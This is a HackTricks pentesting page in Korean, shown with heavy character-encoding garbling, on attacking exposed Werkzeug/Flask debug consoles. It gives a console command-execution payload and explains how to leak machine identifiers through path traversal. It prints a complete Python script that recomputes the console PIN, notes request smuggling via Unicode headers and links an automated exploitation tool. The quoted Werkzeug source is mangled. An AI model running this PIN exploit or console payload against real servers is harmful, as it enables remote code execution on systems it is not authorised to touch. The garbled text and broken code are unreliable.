Werkzeug / Flask Debug

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Console RCE

๋””๋ฒ„๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด /console์— ์ ‘๊ทผํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

__import__('os').popen('whoami').read();

์ธํ„ฐ๋„ท์—๋Š” ์ด๊ฒƒ๊ณผ ๊ฐ™์€ ์—ฌ๋Ÿฌ ์ต์Šคํ”Œ๋กœ์ž‡์ด ์žˆ๊ฑฐ๋‚˜ ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡์— ์žˆ๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์ด ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•€ ๋ณดํ˜ธ - ๊ฒฝ๋กœ ํƒ์ƒ‰

์ผ๋ถ€ ๊ฒฝ์šฐ /console ์—”๋“œํฌ์ธํŠธ๋Š” ํ•€์œผ๋กœ ๋ณดํ˜ธ๋ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ ํƒ์ƒ‰ ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ํ•€์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Werkzeug ์ฝ˜์†” PIN ์ต์Šคํ”Œ๋กœ์ž‡

์•ฑ์—์„œ ๋””๋ฒ„๊ทธ ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋ฅผ ๊ฐ•์ œ๋กœ ํ‘œ์‹œํ•˜์—ฌ ์ด๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

โ€œconsole lockedโ€ ์‹œ๋‚˜๋ฆฌ์˜ค์— ๋Œ€ํ•œ ๋ฉ”์‹œ์ง€๋Š” Werkzeug์˜ ๋””๋ฒ„๊ทธ ์ธํ„ฐํŽ˜์ด์Šค์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ํ•  ๋•Œ ๋‚˜ํƒ€๋‚˜๋ฉฐ, ์ฝ˜์†” ์ž ๊ธˆ์„ ํ•ด์ œํ•˜๊ธฐ ์œ„ํ•ด PIN์ด ํ•„์š”ํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. PIN ์ƒ์„ฑ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ๋ถ„์„ํ•˜์—ฌ ์ฝ˜์†” PIN์„ ์•…์šฉํ•  ๊ฒƒ์„ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. PIN ์ƒ์„ฑ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ Werkzeug ์†Œ์Šค ์ฝ”๋“œ ์ €์žฅ์†Œ์—์„œ ์—ฐ๊ตฌํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ž ์žฌ์ ์ธ ๋ฒ„์ „ ๋ถˆ์ผ์น˜๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‹ค์ œ ์„œ๋ฒ„ ์ฝ”๋“œ๋ฅผ ํŒŒ์ผ ํƒ์ƒ‰ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ™•๋ณดํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

์ฝ˜์†” PIN์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋‘ ์„ธํŠธ์˜ ๋ณ€์ˆ˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: probably_public_bits์™€ private_bits.

probably_public_bits

  • username: Flask ์„ธ์…˜์„ ์‹œ์ž‘ํ•œ ์‚ฌ์šฉ์ž๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • modname: ์ผ๋ฐ˜์ ์œผ๋กœ flask.app์œผ๋กœ ์ง€์ •๋ฉ๋‹ˆ๋‹ค.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): ์ผ๋ฐ˜์ ์œผ๋กœ Flask๋กœ ํ•ด๊ฒฐ๋ฉ๋‹ˆ๋‹ค.
  • getattr(mod, '__file__', None): Flask ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์˜ app.py์— ๋Œ€ํ•œ ์ „์ฒด ๊ฒฝ๋กœ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค (์˜ˆ: /usr/local/lib/python3.5/dist-packages/flask/app.py). app.py๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, app.pyc๋ฅผ ์‹œ๋„ํ•˜์‹ญ์‹œ์˜ค.

private_bits

  • uuid.getnode(): ํ˜„์žฌ ๋จธ์‹ ์˜ MAC ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์˜ค๋ฉฐ, str(uuid.getnode())๋Š” ์ด๋ฅผ 10์ง„์ˆ˜ ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

  • ์„œ๋ฒ„์˜ MAC ์ฃผ์†Œ๋ฅผ ๊ฒฐ์ •ํ•˜๊ธฐ ์œ„ํ•ด, ์•ฑ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ™œ์„ฑ ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์‹๋ณ„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: ens3). ๋ถˆํ™•์‹คํ•œ ๊ฒฝ์šฐ, /proc/net/arp๋ฅผ ๋ˆ„์ถœํ•˜์—ฌ ์žฅ์น˜ ID๋ฅผ ์ฐพ๊ณ , /sys/class/net/<device id>/address์—์„œ MAC ์ฃผ์†Œ๋ฅผ ์ถ”์ถœํ•˜์‹ญ์‹œ์˜ค.

  • 16์ง„์ˆ˜ MAC ์ฃผ์†Œ๋ฅผ 10์ง„์ˆ˜๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค:

# ์˜ˆ์‹œ MAC ์ฃผ์†Œ: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-id ๋˜๋Š” /proc/sys/kernel/random/boot_id์˜ ๋ฐ์ดํ„ฐ๋ฅผ /proc/self/cgroup์˜ ์ฒซ ๋ฒˆ์งธ ์ค„๊ณผ ๋งˆ์ง€๋ง‰ ์Šฌ๋ž˜์‹œ(/) ์ดํ›„์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.
`get_machine_id()` ์ฝ”๋“œ ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = bโ€œโ€œ

machine-id is stable across boots, boot_id is not.

for filename in โ€œ/etc/machine-idโ€, โ€œ/proc/sys/kernel/random/boot_idโ€: try: with open(filename, โ€œrbโ€) as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open(โ€œ/proc/self/cgroupโ€, โ€œrbโ€) as f: linux += f.readline().strip().rpartition(bโ€œ/โ€œ)[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computerโ€™s serial number.

try:

</details>

๋ชจ๋“  ํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•œ ํ›„, exploit ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ Werkzeug ์ฝ˜์†” PIN์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋ชจ๋“  ํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•œ ํ›„, exploit ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ Werkzeug ์ฝ˜์†” PIN์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ์กฐํ•ฉ๋œ `probably_public_bits`์™€ `private_bits`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด์‹œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ์ดํ›„ ์ถ”๊ฐ€ ์ฒ˜๋ฆฌ๋ฅผ ํ†ตํ•ด ์ตœ์ข… PIN์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ Python ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ์—ฐ๊ฒฐ๋œ ๋น„ํŠธ๋ฅผ ํ•ด์‹ฑํ•˜๊ณ  ํŠน์ • ์†”ํŠธ(cookiesalt ๋ฐ pinsalt)๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉฐ ์ถœ๋ ฅ์„ ํฌ๋งทํ•˜์—ฌ PIN์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. probably_public_bits ๋ฐ private_bits์˜ ์‹ค์ œ ๊ฐ’์€ Werkzeug ์ฝ˜์†”์—์„œ ์˜ˆ์ƒ๋˜๋Š” PIN๊ณผ ์ผ์น˜ํ•˜๋„๋ก ๋ชฉํ‘œ ์‹œ์Šคํ…œ์—์„œ ์ •ํ™•ํ•˜๊ฒŒ ์–ป์–ด์•ผ ํ•œ๋‹ค๋Š” ์ ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Tip

๊ตฌ๋ฒ„์ „์˜ Werkzeug๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ผ๋ฉด ํ•ด์‹ฑ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ sha1 ๋Œ€์‹  md5๋กœ ๋ณ€๊ฒฝํ•ด ๋ณด์„ธ์š”.

Werkzeug ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž

์ด ๋ฌธ์ œ์—์„œ ๊ด€์ฐฐ๋œ ๋ฐ”์™€ ๊ฐ™์ด, Werkzeug๋Š” ํ—ค๋”์— ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋œ ์š”์ฒญ์„ ๋‹ซ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด ๊ธ€์—์„œ ์„ค๋ช…๋œ ๋ฐ”์™€ ๊ฐ™์ด, ์ด๋Š” CL.0 ์š”์ฒญ ์Šค๋จธ๊ธ€๋ง ์ทจ์•ฝ์ ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Š” Werkzeug์—์„œ ์ผ๋ถ€ ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋กœ ์ธํ•ด ์„œ๋ฒ„๊ฐ€ ์ค‘๋‹จ๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ HTTP ์—ฐ๊ฒฐ์ด Connection: keep-alive ํ—ค๋”๋กœ ์ƒ์„ฑ๋œ ๊ฒฝ์šฐ, ์š”์ฒญ์˜ ๋ณธ๋ฌธ์€ ์ฝํžˆ์ง€ ์•Š์œผ๋ฉฐ ์—ฐ๊ฒฐ์€ ์—ฌ์ „ํžˆ ์—ด๋ ค ์žˆ์œผ๋ฏ€๋กœ ์š”์ฒญ์˜ ๋ณธ๋ฌธ์€ ๋‹ค์Œ HTTP ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

์ž๋™ํ™”๋œ ์ต์Šคํ”Œ๋กœ์ž‡

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ